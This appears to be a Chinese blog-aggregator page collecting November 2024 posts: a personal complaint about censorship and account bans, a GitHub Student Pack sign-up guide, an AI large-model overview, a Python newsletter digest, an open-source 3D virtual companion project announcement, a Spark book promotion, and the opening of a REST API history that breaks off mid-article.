有种,按下葫芦起来瓢的感觉,或者可也说,根上出了问题。这种感觉怎么说呢,就说说说我最近的“挫折”吧。带着一点偏激不理智的调侃,真想问问,马化腾张小龙平时去哪体育场跑步?
前几天,是一个阿姨死去2周年的纪念日。因为远在外地,我委托了个朋友,去这个阿姨小区门口放一束花。这个阿姨是因为当初封城导致的精神压力过大,最后跳楼死亡。去年我也放了一束花,今年也准备继续。
朋友给我打来电话,说不允许放花,现场有人在“问询”。于是就拿着花拍了一张照片,也算是心愿达成,愿这位阿姨在天有灵,带着一些欣慰吧。
随后我就发了一条抖音,一方面是祭奠,另一方面也是一种提醒吧。这是我们不能忘记的事件,曾经我们共同遭受的“苦难”。
紧接着不到3分钟,立刻一个电话打过来,让我删除抖音。后面的事情就不说了,总之视频是没了。在舆论,舆情这方面,遥遥领先,厉害了,我的国!

而紧接着,最近,微信又把我的一个工作微信封掉了。原因大概率是我自己做了一个论坛,然后给几个朋友推荐,但是这个域名没有备案。同时象征性的向一些人收取了十几元的入场费,但这些都是双方自愿,且主动的。
第二天,直接给我来了个永久封号,且不可申诉。如果没体验过的,我劝你最好别体验,对方给你发信息,你却无法给对方任何回应。且对方不会知道你被封号了,就相当于你跟对方隔着一个单向透明玻璃,你能看到对方对你的一切互动,但却一点声音和动作都传不过去。电影里审问犯人的那种镜子都知道吧,就是这种感觉。

杀人放火金腰带,修桥补路无尸骸。大的诈骗案破不了,就在普通老百姓身上各种严防死守,真是庆幸,没有在国内买第二套房子,而是在国外买了一套公寓。也万幸自己几乎70%以上的资产全部是比特币,而不是人民币。
爱国在这个时代是一种选择,爱国在这个时代是流量密码,爱国在这个时代是“政治正确”。只要你不表达你在爱国,你就是不爱国。
我虽然不想上升到这个高度来试图批判以表达自己的不满,但这一切让我很不爽。

我可以不骂这个傻逼政府,但这不意味着这个政府就不傻逼。我可以夸这个政府有些地方做的不错,但不意味着这个政府所有事情都做得好。言论自由就不应该是争取来的,这就是我本应该拥有的东西,什么审查机制,审核机制。
哪个政府是老百姓给骂倒台的?哪个政府是老百姓多牢骚两句就亡党亡国了?都说身正不怕影子歪,如今的防民之口甚于防川,到底是为了稳定,还是掩盖盛世之下的满目疮痍?各有各的看法和观点,我都兼容。但保留我的意见,尤其是我自由言论的自由。

说句难听的话,要不是外国的饭难吃,没有内蒙的好牛肉,好羊肉。我真的就不打算在国内常住了,不争气的胃,不服输的劲,总要有一个适当委屈一下。万幸有自己的博客,想怎么写就怎么写,共产党爱怎么搞文字狱都是他们那群傻逼和腾讯这些太监公司的的事情。
当社会上越来越多出现那种无差别伤人事件的时候,真正有罪的,恰恰是那些高高在上的执法者。都是普通老百姓,这年头经济如此不景气,任劳任怨当牛马的人都忍气吞声,他们这群官老爷是怎么想到还要给这个社会继续添乱的?
果然炒币的尽头是移民,写作的尽头是键政,哈哈哈哈哈哈哈哈。

做一个最坏的打算,假如失去了所有国内的各种服务,我应该怎么办。该方案提上日程,开始思考,着手做准备。没有微信,我也能活的很好,去中心化,去中国化,值得一试。

by 小吴乐意 at November 19, 2024 01:43 PM

nbmao

GitHub学生包免费域名,Jetbrains全家桶等福利

1 GitHub Pro白嫖Jetbrains

1.1 简介

Jetbrains 打工人的工作站,流浪者的避风港

1.2 绑定Jetbrains账号

进入下面网址即可跳过1.2.1到1.2.3步骤

https://www.jetbrains.com/shop/eform/students

1.2.1 进入Github官网(下面链接)

https://education.github.com/pack/offers

如果显示502,则进入下面这个

https://education.github.com/pack

GitHub学生包免费域名,Jetbrains全家桶等福利

1.2.2 往下滑,找到Jetbrains

点击Get access by connecting your GitHub account on JetBrains

GitHub学生包免费域名,Jetbrains全家桶等福利

1.2.3 往下滑,点击Apply now

GitHub学生包免费域名,Jetbrains全家桶等福利

1.2.4 通过GTIHUB授权

GitHub学生包免费域名,Jetbrains全家桶等福利

1.2.5 授权

GitHub学生包免费域名,Jetbrains全家桶等福利

1.2.6 信息按照下图填

GitHub学生包免费域名,Jetbrains全家桶等福利

1.2.7 邮箱会收到邮件

GitHub学生包免费域名,Jetbrains全家桶等福利

1.2.8 点击邮箱中的链接,建议电脑

点击Get started to use

GitHub学生包免费域名,Jetbrains全家桶等福利

1.2.9 滑到底,点击I accept

这个页面我加载比较慢,等加载完成后才可以点击那个I accept按钮

GitHub学生包免费域名,Jetbrains全家桶等福利

1.2.10 登录自己的Jetbrains账号

GitHub学生包免费域名,Jetbrains全家桶等福利

1.2.11 出现以下画面就好了

GitHub学生包免费域名,Jetbrains全家桶等福利

1.3 登录idea

1.3.1 点击log in

GitHub学生包免费域名,Jetbrains全家桶等福利

1.3.2 使用Github登录

GitHub学生包免费域名,Jetbrains全家桶等福利

1.3.3 登录成功

GitHub学生包免费域名,Jetbrains全家桶等福利

1.3.4 打开idea确认 ,点击Active

GitHub学生包免费域名,Jetbrains全家桶等福利

1.3.5 操作成功

GitHub学生包免费域名,Jetbrains全家桶等福利

2 GitHub Pro白嫖Copilot

2.1 简介

简单一句话,AI帮你写代码

2.2 Github开启copilot权限

2.2.1 开启

GitHub学生包免费域名,Jetbrains全家桶等福利

2.2.2 授权

GitHub学生包免费域名,Jetbrains全家桶等福利

2.2.3 确认权限

GitHub学生包免费域名,Jetbrains全家桶等福利

2.2.4 成功撒花

GitHub学生包免费域名,Jetbrains全家桶等福利

2.3 Jetbrains使用Copilot

2.3.1 安装copilot插件

GitHub学生包免费域名,Jetbrains全家桶等福利

2.3.2 登录Github

点击图中底部小按钮

GitHub学生包免费域名,Jetbrains全家桶等福利

2.3.3 Github认证

步骤3点击后会弹出下面这个框,点击 Copy and Open

GitHub学生包免费域名,Jetbrains全家桶等福利

2.3.4 输入设备码

直接粘贴

GitHub学生包免费域名,Jetbrains全家桶等福利

2.3.5 通过认证

GitHub学生包免费域名,Jetbrains全家桶等福利

2.3.6 认证成功

GitHub学生包免费域名,Jetbrains全家桶等福利

2.3.7 重启idea查看

GitHub学生包免费域名,Jetbrains全家桶等福利

2.3.8 测试

只打了冒泡两个字,好家伙,tab、tab、tab,全都出来了

GitHub学生包免费域名,Jetbrains全家桶等福利

3 GitHub Pro白嫖Termius

3.1 简介

👋Termius是一个我巨他妈喜欢的终端工具,也是我一直以来使用的,他是收费的,Github Pro用户可以免费使用

3.2 访问Termius官网(下面链接)

https://termius.com/education

GitHub学生包免费域名,Jetbrains全家桶等福利

3.4点击 Authorize termius

GitHub学生包免费域名,Jetbrains全家桶等福利

3.5 登录Termius

GitHub学生包免费域名,Jetbrains全家桶等福利

3.6 完成(不成功的话左下角会有过期时间显示)

GitHub学生包免费域名,Jetbrains全家桶等福利

3.7 也可以登录客户端查看(试用的话左下角会有过期时间显示)

👋客户端下载地址:https://termius.com/

GitHub学生包免费域名,Jetbrains全家桶等福利

4 GitHub Pro白嫖NameCheap域名

4.1 简介

Namecheap是互联网名称与数字地址分配机构认可的一家域名注册商,他们提供了免费的域名,只要你是GitHub Pro用户,你就可以免费使用.me后缀的域名。

4.2 注册域名

4.2.1 进入Github官网(下面链接)

https://education.github.com/pack/offers

如果显示502,则进入下面这个

https://education.github.com/pack

4.2.2 往下滑,找到namecheap

点击Get access by connecting your GitHub account on Namecheap

GitHub学生包免费域名,Jetbrains全家桶等福利

4.2.3 填写想要的域名

GitHub学生包免费域名,Jetbrains全家桶等福利

4.2.4 选择.me域名,下单,免费的

GitHub学生包免费域名,Jetbrains全家桶等福利

4.2.5 填写Gtihub邮箱

GitHub学生包免费域名,Jetbrains全家桶等福利

4.3 注册Namecheap账号

4.3.1 填写账号信息,没有的话点击图中注册

记住账号和密码,后面登录需要

GitHub学生包免费域名,Jetbrains全家桶等福利

GitHub学生包免费域名,Jetbrains全家桶等福利

4.3.2 确认订单

GitHub学生包免费域名,Jetbrains全家桶等福利

4.3.3 注册成功

这里可以点击一下设置Github账户,他就是添加一个Github的DNS而已,没什么,后续有需要可以再修改。

GitHub学生包免费域名,Jetbrains全家桶等福利

4.3.3 确认Github信息

GitHub学生包免费域名,Jetbrains全家桶等福利

4.3.4 注册成功

GitHub学生包免费域名,Jetbrains全家桶等福利

4.4 查看域名

4.4.1 登录NameCheap官网

https://www.namecheap.com/myaccount/login

GitHub学生包免费域名,Jetbrains全家桶等福利

4.4.2 填写邮箱验证码

GitHub学生包免费域名,Jetbrains全家桶等福利

4.4.3 登录成功

GitHub学生包免费域名,Jetbrains全家桶等福利

4.4.4 查看域名列表

GitHub学生包免费域名,Jetbrains全家桶等福利

GitHub学生包免费域名,Jetbrains全家桶等福利

4.4.5 查看域名信息,可修改DNS

点击上图域名后面的MANAGE,进入域名管理页面

GitHub学生包免费域名,Jetbrains全家桶等福利

5 GitHub Pro白嫖Name.com域名

5.1 简介

Name.com是美国一家通过Icann认证并且非常有名的域名注册商,Name.com 与 GitHub 合作,为Github Pro用户提供免费域名。

5.2 注册域名

劝退,我操作了半天,显示0元,但是到付款界面的时候,就会显示原来的价格。看到论坛有很多朋友也遇到了同样的问题,都是和客服交流了很久很久之后才解决。所以,我就不推荐这个了,如果你有兴趣,可以试试。

6 GitHub Pro白嫖.tech域名

6.1 简介

使用 .tech 域名,专注于技术领域。.tech 是广受散户投资者、风险投资家、未来人才和终端消费者推崇的域名后缀。由于 tech 是“技术”的缩写,因此专注于各个技术领域的众多组织均可以使用该域名来突出它们的技术专长。从缩短您的品牌名称到巩固您作为软件即服务(SaaS)行业领导者的品牌声誉,.tech 域名具有众多优势,可以成为您的理想选择。

6.2 注册域名

6.2.1 进入Github官网(下面链接)

https://education.github.com/pack/offers

如果显示502,则进入下面这个

https://education.github.com/pack

6.2.2 往下滑,找到.tech

点击Get access by connecting your GitHub account on Namecheap

GitHub学生包免费域名,Jetbrains全家桶等福利

6.2.3 选择域名

GitHub学生包免费域名,Jetbrains全家桶等福利

加入购物车,并去支付

GitHub学生包免费域名,Jetbrains全家桶等福利

登录Github并授权,授权之后就是0元

GitHub学生包免费域名,Jetbrains全家桶等福利

GitHub学生包免费域名,Jetbrains全家桶等福利

6.3 注册.tech账号

如果你有.tech账号,直接登录就好了,如果没有,注册一个

GitHub学生包免费域名,Jetbrains全家桶等福利

GitHub学生包免费域名,Jetbrains全家桶等福利

注册完成后确认订单

GitHub学生包免费域名,Jetbrains全家桶等福利

GitHub学生包免费域名,Jetbrains全家桶等福利

6.4 管理域名

点击右上角MY ACCOUNT,进入后台界面

GitHub学生包免费域名,Jetbrains全家桶等福利

GitHub学生包免费域名,Jetbrains全家桶等福利

可以修改默认的DNS服务器

GitHub学生包免费域名,Jetbrains全家桶等福利

7 GitHub Pro权益认证

点击进行GitHub_Pro权益认证

Finally 躺板板

by 笨猫 at November 19, 2024 01:04 PM

November 18, 2024

howiehz

Fixing github action push to ghcr '403 Forbidden' error

此文章有中文版本/This article is available in Chinese Phenomenon The GitHub Action workflow setup looks like this: When running it, the following error occurs

by HowieHz at November 18, 2024 06:00 PM

Fixing docker pull image "ghcr.io..." Unauthorized error

此文章有中文版本/This article is available in Chinese Phenomenon Solution Everything went smoothly during the initial build, but when I started writing a tuto

by HowieHz at November 18, 2024 06:00 PM

yangpeiyuan

自制互联网科技早报RSS订阅源

最近开始使用Follow作为备用 RSS 阅读器,作为 10 多年的 RSS 用户深知信息过载的弊端。订阅了一堆各种类型的内容,然后未阅读数长期是 1000+,那基本上也不会经常阅读了。

自制了一份互联网科技早报 RSS 源,可以有效精简资讯类的订阅源。

Follow 用户可以直接订阅 List:早报聚合

其他 RSS 阅读器用户可以访问 早报聚合 | 聚合中文互联网科技早报 手动订阅

内含 爱范儿、IT 之家、36Kr、少数派、数字尾巴、Readhub 6 个网站的早报频道,支持全文输出。

https://appd.top/

by yangpeiyuan (i@yangpeiyuan.com) at November 18, 2024 02:40 PM

November 17, 2024

anotherdayu

多语言博客WordPress 插件 Polylang

我对多语言博客 WordPress 插件有以下几个需求:

  • 保持长期更新;
  • 免费或者不贵的买断制;
  • 中英文界面可同时 SEO 索引;
  • 操作简单易于多语言用户理解;
  • 中英文 RSS Feed 可以分开。

尝试多款插件之后,决定使用 Polylang,需求都能满足,且免费功能就够用。虽然内容需要自己翻译,但我也不是每篇都想翻译成英文,且借助 ChatGPT 并不费劲。

Pro 版(99欧元)可以和 DeepL 深度整合,并支持更多自定义功能。

基础设置跟着 Setup 流程即可。之后每翻译一篇,就会在英文界面展示一篇。

设置完成后的效果:https://anotherdayu.com/en/

by Dayu at November 17, 2024 02:48 PM

waylau

AI大模型概述

本文介绍了AI大模型的概念、原理、特点、应用及挑战。

AI大模型是指具有巨大参数量的深度学习模型,通常包含数十亿甚至数万亿个参数。以下是对AI大模型的详细概述:

一、定义与分类

根据参数规模,AI模型可以分为以下几类:

  • 小型模型:参数量小于或等于1百万个。
  • 中型模型:参数量在1百万至1亿个之间。
  • 大型模型:参数量在1亿至10亿个之间。其中,大型模型和参数量更大的模型可以被视为AI大模型。

二、原理与训练

AI大模型的原理基于神经网络和大量数据的训练。这些模型通过模拟人脑的神经元结构,对输入数据进行多层抽象和处理,从而实现对复杂任务的学习和预测。其训练过程主要包括以下步骤:

  1. 数据预处理:对原始数据进行清洗、整理和标注,以便为模型提供合适的输入。
  2. 构建神经网络:根据任务需求,设计并搭建一个神经网络,该网络通常由多个层次组成,每个层次包含若干个神经元。
  3. 前向传播:将经过预处理的数据输入到神经网络中,按照权重计算得出各层神经元的输出。
  4. 激活函数:在神经网络的每一层之后,通常会使用激活函数(如ReLU、Sigmoid或Tanh等)对输出进行非线性变换,以增加模型的表达能力。
  5. 损失函数:为了衡量模型预测结果与真实目标之间的差距,需要定义一个损失函数。损失函数会计算预测误差,并将其作为优化目标。
  6. 优化算法:根据损失函数,选择合适的优化算法(如梯度下降、随机梯度下降、Adam等)来更新神经网络中的权重和偏置,以减小损失函数的值。这个过程称为反向传播。
  7. 训练与验证:重复执行上述步骤,直到模型在训练集上达到满意的性能。同时,为了防止过拟合,还需要在验证集上评估模型的泛化能力。

三、特点与优势

AI大模型具有以下特点和优势:

  1. 泛化性:能够将知识迁移到新领域。
  2. 通用性:不局限于特定领域,可以适应各种不同的自然语言、视觉和声音数据。
  3. 涌现性:能够产生预料之外的新能力。
  4. 高精度:有更多的参数,能够处理更复杂的信息和更深入的上下文,提高了精度和准确性。
  5. 智能化:能够模拟人类的思维和学习模式,通过大量的训练数据提高人工智能的智能性。
  6. 高效性:通过并行计算和分布式训练,大大提高了计算效率。

四、应用领域

AI大模型在自然语言处理、计算机视觉、自主驾驶等多个领域取得了重要突破,并广泛应用于以下场景:

  1. 自然语言处理:如翻译、问答、分词、文本生成等。AI大模型通过学习海量的语料库和上下文,让计算机更加准确地理解和处理自然语言。例如,GPT-3和BERT等模型大幅提升了自然语言处理任务的性能。
  2. 计算机视觉:如目标检测、图像分类、语义分割等。AI大模型通过学习大量的图像数据和构建更深更复杂的神经网络,使计算机能够对图像进行更加准确的识别和分析。例如,ResNet和EfficientNet等模型推动了计算机视觉任务的发展。
  3. 人脸识别:如安防、金融、医疗等领域的应用。AI大模型提高了人脸识别的准确性和鲁棒性。例如,Facenet和DeepFace等模型在人脸识别方面表现出色。
  4. 声音识别:如交互式应用和智能家居领域的应用。AI大模型使语音识别技术取得了更高的准确性。例如,Wav2Vec和Transformer等模型在声音识别方面取得了显著成果。

此外,AI大模型还广泛应用于个性化推荐系统、医学影像分析、金融风险评估、智能客服系统、教育智能辅导、工业自动化质量检测、游戏NPC行为生成、农业作物监测、能源预测、环境保护污染监测、法律合同审查、物流供应链优化、建筑设计结构分析、安全入侵检测以及旅游推荐等多个领域。

五、挑战与问题

尽管AI大模型具有极高的性能和准确性,但其发展也面临一些挑战和问题:

  1. 计算资源问题:AI大模型需要更多的计算资源,如多台GPU和分布式计算等,高昂的成本阻碍了其普及和应用。
  2. 数据集问题:AI大模型需要大量的标注数据以便训练和优化模型,但实际场景中的数据通常是不完整、不一致和缺乏标注的。
  3. 可解释性问题:AI大模型对于预测结果的解释通常比较困难,难以解释其判断的依据和原因,使得大模型的使用和应用存在风险和误判的情况。
  4. 环境依赖问题:AI大模型对于使用语言、环境等存在更高的依赖性,需要针对特定场景进行定制和使用。

六、发展趋势

随着技术的不断进步和应用场景的不断拓展,AI大模型将呈现以下发展趋势:

  1. 模型规模持续扩大:为了处理更复杂的任务和提高性能,AI大模型的规模将持续扩大,参数量将不断增加。
  2. 算法优化与创新:针对AI大模型的训练和优化问题,将出现更多的算法优化和创新方法,以提高模型的训练效率和性能。
  3. 跨领域融合应用:AI大模型将更多地应用于跨领域融合场景,如智慧城市、智能制造等,为这些领域提供智能化的解决方案。
  4. 隐私保护与安全性加强:随着AI大模型在更多敏感领域的应用,隐私保护和安全性将成为重要的关注点。将出现更多的技术和方法来保护用户的隐私和数据安全。

综上所述,AI大模型作为人工智能领域的重要发展方向,具有广泛的应用前景和巨大的发展潜力。然而,其发展也面临一些挑战和问题,需要不断的技术创新和优化来解决。

参考引用

November 17, 2024 12:22 AM

pythoncat

Python 潮流周刊#77:Python 依赖管理就像垃圾场火灾?

本周刊由 Python猫 出品,精心筛选国内外的 250+ 信息源,为你挑选最值得分享的文章、教程、开源项目、软件工具、播客和视频、热门话题等内容。愿景:帮助所有读者精进 Python 技术,并增长职业和副业的收入。
分享了 12 篇文章,12 个开源项目,2 则热门讨论,全文 2200 字。
以下是本期摘要:
① Python 依赖管理一种垃圾场火灾
② Python 的膨胀:精细的项目间依赖关系分析
③ 分享我的 Django 项目模板
④ 避免在 Django 分页中计算总数
⑤ 你需要更注意分词
⑥ Pythonic 的空值检查
⑦ Attestations:PyPI 的新一代签名
⑧ PyPIM:直接在 RAM 中执行 Python 代码的新方法
⑨ Python 中管道模式的实际示例
⑩ 零停机时间部署 Django 与多步骤数据库更改
⑪ Netflix 关于 Workbench UI 延迟问题的调查
⑫ 通过 Python 侧车模式在 Go 中使用 ML
① Box:用高级的点表示法访问嵌套字典
② dendrite-python-sdk:构建 Web AI 代理,像人类般浏览网页
③ prints_charming:增强终端打印的样式和颜色
④ weft:类似 vim 的终端阅读器,可与书籍聊天
⑤ PiML-Toolbox:Python 可解释机器学习工具箱
⑥ PDF-Extract-Kit:高质量提取 PDF 内容
⑦ VideoLingo:Netflix 级字幕切割、翻译、对齐、配音
⑧ htmy:异步、纯 Python 渲染引擎
⑨ website-hot-hub:36Kr、bilibili、抖音、掘金、微信读书的热点榜
⑩ watermark-anything:为任何内容添加水印
⑪ models:先进开源的视频生成模型
⑫ deepface:轻量级人脸识别和人脸属性分析
① 2024 年最先进的 Python
② 为什么有一些 Python 入门书不教 class、yield、self 之类的方法?
周刊实行付费订阅制,年费 128 元,平均每天不到 4 毛钱,但绝对是一笔有眼光的投资。花钱学习知识,花钱提升自己,欢迎订阅这个你绝对不会后悔的专栏:https://xiaobot.net/p/python_weekly
订阅后,可免费查看 第 77 期周刊的全文:https://www.xiaobot.net/post/b2ac08fc-9032-457d-ae5e-20430a21ce64
Python 潮流周刊第 2 季完结了,分享几项总结:https://pythoncat.top/posts/2024-07-14-iweekly
周刊前30期的免费合集,含精美电子书(EPUB/PDF):https://pythoncat.top/posts/2023-12-11-weekly
万字浓缩版,Python 潮流周刊第 1 季的 800 个链接!:https://xiaobot.net/post/78c3d645-86fa-4bd8-8eac-46fb192a339e

November 17, 2024 12:00 AM

November 13, 2024

nbmao

一款开源的LLM 3D虚拟陪伴产品

前言

不知道大家有没有看过电影《 Her 》或者《银翼杀手 2049 》,电影里主角的女朋友 JOI 是没有实体的"虚拟女友",还记得第一次看电影时候带给我的震惊,如果这就是未来,那么我希望马上穿越到未来!这两年随着 AI 技术的快速发展,大模型为这个领域注入了极大的可能性,虚拟陪伴这个概念终于有了实现的可能!

一款开源的LLM 3D虚拟陪伴产品

其实这个想法非常普通,毕竟谁不想拥有一个 JOI 这样的虚拟伴侣呢?实际上在 LLM 出来之前我已经玩过太多类似的软件,比如伪春菜,桌宠,甚至 VR 女友,人工少女,VAM 等都有,不过他们都像是玩偶一样只能摆弄,无法沟通和对话,也就没有灵魂。有了 GPT 之后相当于最关键的智能部分已经足够成熟,上 B 站随便搜索下 AI 虚拟女友都能看到很多实现,而且角色扮演类的应用也是层出不穷,比如豆包,星野,Glow ,筑梦岛,猫箱,以及国外比较火的 C.AI ,Replika 等。

为什么做?

那为什么要再做一个类似的开源产品呢?

  • 一方面上述这些产品我都玩过,大多只有聊天框或者能够语音陪聊,当然这些产品的功能和体验都做得非常棒,不过我还是希望能够跟一个有形象的 AI 助手进行对话,而不是只有聊天框。我希望她有情绪,有表情,有动作,能发出声音,唱唱跳跳,也许更进一步可以和我进行互动,未来也可以在元宇宙( VR )里面对面。然而像 Replika 这样产品的 3D 形象真是一言难尽...说实话我有点搞不清楚歪果仁的审美...
  • 另一方面这些产品因为国内监管或者自身利益等原因无法真正施展,而在这一方面开源软件具备天然的优势,可以集成市面上最好的模型和语音服务,可以根据自己的喜好设定角色等,在可玩性上可以做到很好,在 AI 陪聊开源领域比如SillyTavern 的可玩性就非常强,有很多可以后续借鉴的地方,可惜交互设计有点差强人意了。

Replika 的 3D 模型...

基于以上考虑我决定做一款基于 AI 的开源 3D 虚拟陪伴应用,还有什么比自己亲手创造一个自己的伴侣更更让人有成就感的呢?当然虚拟女友的终极形态我觉得还得靠具身智能或者生物科技的发展,不过这些都相对比较遥远,使用当下能够利用的技术实现自己想要的效果我觉得是更加务实的选择。

项目介绍

说回项目,这个项目叫做 LobeVidol ,是 Lobehub 社区的一个开源子项目,初衷是希望让每个人都能拥有自己的虚拟偶像,项目 Github 地址是 https://github.com/lobehub/lobe-vidol ,你的 Star 是对我们最大的鼓励!

一款开源的LLM 3D虚拟陪伴产品

目前项目的试用截图如下:

一款开源的LLM 3D虚拟陪伴产品

功能介绍

  1. 流畅的对话体验:支持流式响应带来流畅的对话体验。一款开源的LLM 3D虚拟陪伴产品
  2. 背景情境设定:你可以根据场景试用不同的背景让对话更加生动有趣。一款开源的LLM 3D虚拟陪伴产品
  3. 丰富的动作和姿式库:内置 Mixamo 角色动作与姿式库,让角色在对话时可以设定丰富的肢体语言。 一款开源的LLM 3D虚拟陪伴产品
  4. 精致 UI 设计:支持亮暗色主题,支持 PWA ,以及做了一小部分的移动适配:一款开源的LLM 3D虚拟陪伴产品
  5. 丰富的角色设定:使用角色编辑可以创建属于自己的虚拟偶像,设定触摸反应,上传 VRM 模型并与他们互动。一款开源的LLM 3D虚拟陪伴产品
  6. MMD 舞蹈支持:使用 MMD 舞蹈文件和 PMX 舞台文件,与你的虚拟偶像一起跳舞。一款开源的LLM 3D虚拟陪伴产品
  7. 角色市场:通过创建角色功能,你可以轻松地将作品提交到平台,让自己捏的崽让更多人看到一款开源的LLM 3D虚拟陪伴产品
  8. 舞蹈市场:在舞蹈市场中,你可以找到丰富的 MMD 舞蹈资源,搭配不同的角色、舞台、音乐和舞蹈。一款开源的LLM 3D虚拟陪伴产品
  9. TTS & STT 语音会话:支持文字转语音(TTS)和语音转文字(STT)技术。
  10. 触摸响应功能:点击角色的不同身体部位,角色将做出不同的反应。你也可以自定义编辑触摸反应

篇幅有限,这里只做简短的功能描述,有兴趣的话可以到我们的 Github 网站上查看详细介绍~

后记

其实从去年 10 月份开始有这个想法,后续利用业余时间断断续续做了也有将近一年时间了,因为自身的完美主义情节一直没有怎么做推广,总是想要将功能做完善,结果发现想要做的功能越来越多...也许应该接受产品的不完美,让真实的用户进来试用和反馈才是正确的道路,希望能够得到一些真实的建议和批评,也希望有志同道合的朋友可以一起进来贡献!

另外可能有些同学不清楚怎么申请 OpenAI Key 或者代理,可以参考文档 https://docs.vidol.chat/usage/providers/openai

相关链接

by 笨猫 at November 13, 2024 01:45 AM

November 11, 2024

waylau

Spark新作《循序渐进Spark大数据应用开发》简介

《循序渐进Spark大数据应用开发》由清华大学出版社出版,已于近期上市。该书基于Spark 3.5.1编写,提供24个实战案例+26个上机练习,可谓是目前市面上最新的Spark力作。

本文对《循序渐进Spark大数据应用开发》一书做个大致的介绍。

封面部分

首先是介绍封面部分。

《循序渐进Spark大数据应用开发》封面部分是采用了比较Q的风格设计,充满活力。

可以看到,左上角和右上角体现了本书的特色,案例丰富,同时也提供了源码和教学课件。

底部是出版社“清华大学出版社”字样。

封底部分

介绍封底部分。

封底部分可以看到主要是对本书的简介。

本书主要是面向对Spark大数据应用感兴趣的学生、开发人员及架构师,也适合培作为高校大数据及相关专业的教学用书。

全书篇幅274页,定价为89元,也算良心了。极具性价比。

内容简介

《循序渐进Spark大数据应用开发》结合作者一线开发实践,循序渐进地介绍了新版Apache Spark 3.x的开发技术。全书共10章,第1章和第2章主要介绍Spark的基本概念、安装,并演示如何编写最简单的Spark程序。第3章深入探讨了Spark的核心组件RDD。第4章讲解了Spark集群管理,帮助读者理解任务提交与执行的基本原理。第5章介绍了Spark SQL,这是处理结构化数据的基础工具。第6章展示了Spark Web UI,通过界面化的方式了解Spark集群运行状况。第7章和第8章分别介绍了Spark流式数据处理框架Spark Streaming和Structured Streaming。第9章和第10章则分别介绍了业界流行的机器学习和图计算处理框架MLlib和GraphX。书中各章节还提供了丰富的实战案例和上机练习题,以便读者在学习的同时进行实际操作,迅速提升动手能力。 《循序渐进Spark大数据应用开发》技术先进,案例丰富,适合对Spark大数据应用感兴趣的学生、大数据开发人员及架构师使用,也可作为培训机构和高校大数据课程的教学用书。

《循序渐进Spark大数据应用开发》是一本深入浅出的Spark大数据开发实战指南,专为希望掌握Apache Spark 3.x技术栈的开发者量身定制。《循序渐进Spark大数据应用开发》不仅涵盖了Spark的基础概念和安装步骤,更通过丰富的实战案例和上机练习,引导读者逐步深入理解并掌握Spark的核心组件、集群管理、SQL处理、流式数据处理以及机器学习与图计算等高级功能。 作者凭借一线开发经验,精心编排了10个章节的内容,确保读者能够循序渐进地学习Spark的各项关键技术。从最简单的Spark程序编写开始,逐步过渡到复杂的数据处理和分析任务,每一章都充满了实用价值和操作指导。

特别值得一提的是,《循序渐进Spark大数据应用开发》提供了24个精心设计的实战案例和26个上机练习题,这些内容旨在帮助读者将理论知识转化为实践技能,快速提升解决实际问题的能力。无论是对于学生、大数据开发人员还是架构师来说,这都是一本不可多得的宝贵资源。

写作背景

笔者在华为技术有限公司担任架构师期间,主导过MetaERP项目高级调度系统计算引擎的自研。在这期间,笔者也大规模使用了Spark平台作为分布式计算的底座,因此积累了大量Spark的使用经验。同时,笔者在业余时间撰写和分享了大量有关Spark的技术博客,这些技术博客都被汇总到了我的开源电子书《跟老卫学Apache Spark开发》。《跟老卫学Apache Spark开发》是一本Spark应用开发的开源学习教程,主要介绍如何从0开始开发Spark应用。

本书在《跟老卫学Apache Spark开发》基础之上,做了补充和完善,加入了大量当前Spark最新的特性以及案例。希望帮助读者轻松入门Spark。

配套资源

本书提供的素材和源代码可从以下网址下载:

https://github.com/waylau/apache-spark-tutorial

勘误和交流

本书如有勘误,会在以下网址发布: https://github.com/waylau/apache-spark-tutorial/issues

视频介绍

见B站:https://www.bilibili.com/video/BV1Uhm1YKEdb/

配套书籍、课程

如果你喜欢本开源书,也欢迎支持下该书的正式出版物,实体店及各大网店有售。

参考引用

November 11, 2024 12:22 AM

pythoncat

REST API 已经 25 岁了:它是如何形成的,将来可能会怎样?

原题:REST APIs Turn 25: How They Came To Be and What Could Be Next
作者:Shrijith Venkatramana
翻译:豌豆花下猫&ChatGPT

根本问题:新兴的“AI 时代”将如何影响“Web 时代”的产物?

2000 年,Roy Fielding 在博士论文中,正式引入了“表述性状态转移” (Representational State Transfer,简称 REST)这一概念。随着 2024 年接近尾声,REST 的概念也即将迎来至少 25 岁了。我稍后会详细介绍,REST 的这 25 年是如何成为了“Web 时代”的特征。
随着“ChatGPT 演示”现象的出现,以及 AI 和自动化所带来的新乐观情绪,我希望重新审视 API,特别是 RESTful API 的历史。在文章的最后,我会对未来“AI 时代”中的 API 领域做一些大胆的猜测。

我对历史感兴趣,因为它为我们指明未来的方向

提醒读者:Fielding 的论文在“REST API”普及全球之前就已经完成了。Fielding 仅将“REST”作为在 HTTP 上构建“分布式超媒体”的架构风格之一(更像是 HTTP 的扩展)。因此,他对这一主题的表述相当抽象和微妙。
在本文中,我不打算详尽复述 Fielding 的观点,而是重点回顾在引入 REST 之前和之后的 API 发展历程,通过对比来更清晰地了解 API 的发展。我会更关注 API 的实际应用演变,而非其背后的学术理论。
为什么要研究历史?因为这有助于更清楚地了解 API 及其未来可能的演变方向。本文更多是一种个人对该主题的探索,而非严谨的学术研究。

REST 的核心:描述“Web 时代”的需求

在 Fielding 开始创作他的论文时:
  • Web 已经出现了约 10 年。
  • 它积累了一套标准和“运作方式”。
  • Fielding 试图通过深入研究扩展、缓存、组件分区、通信和 Web 演变需求,避免有害的架构。
  • 重点在于收集一系列“架构约束”以构建“架构风格”。
  • Fielding 的研究成果直接应用于 HTTP 和 URL 标准的改进。
  • 作为一种架构模式,REST 考虑了多个属性,包括组件交互的扩展性、通用接口、组件的独立部署、延迟、安全性和向后兼容性等。

API 历史的快速概览

1951 - 最早的 API,但未明确称呼(Maurice Wilkes)

1951 年,Maurice Wilkes 在《电子数字计算机程序》中引入了最早的类似于 API 的概念,提出可重用的软件例程来简化 EDSAC 计算机的编程。

1968 - 首次提到“API”一词(Ira W. Cotton)

1968 年,Ira W. Cotton 的论文《远程计算机图形学的数据结构与技术》首次使用“API”一词,指的是用于远程图形处理的接口。

1974 - 首个数据库 API(C. J. Date)

1974 年,C. J. Date 对比了关系数据库和网络数据库两种模型,重点讨论了它们的程序编程接口 (API) 的差异,以促进数据库交互。

1991 - CORBA 标准(Object Management Group)

1991 年,对象管理组 (OMG) 引入了 CORBA (公共对象请求代理架构) 标准,旨在实现不同系统和平台之间分布式异构应用的通信。

1993 - CGI(Roy McCool)

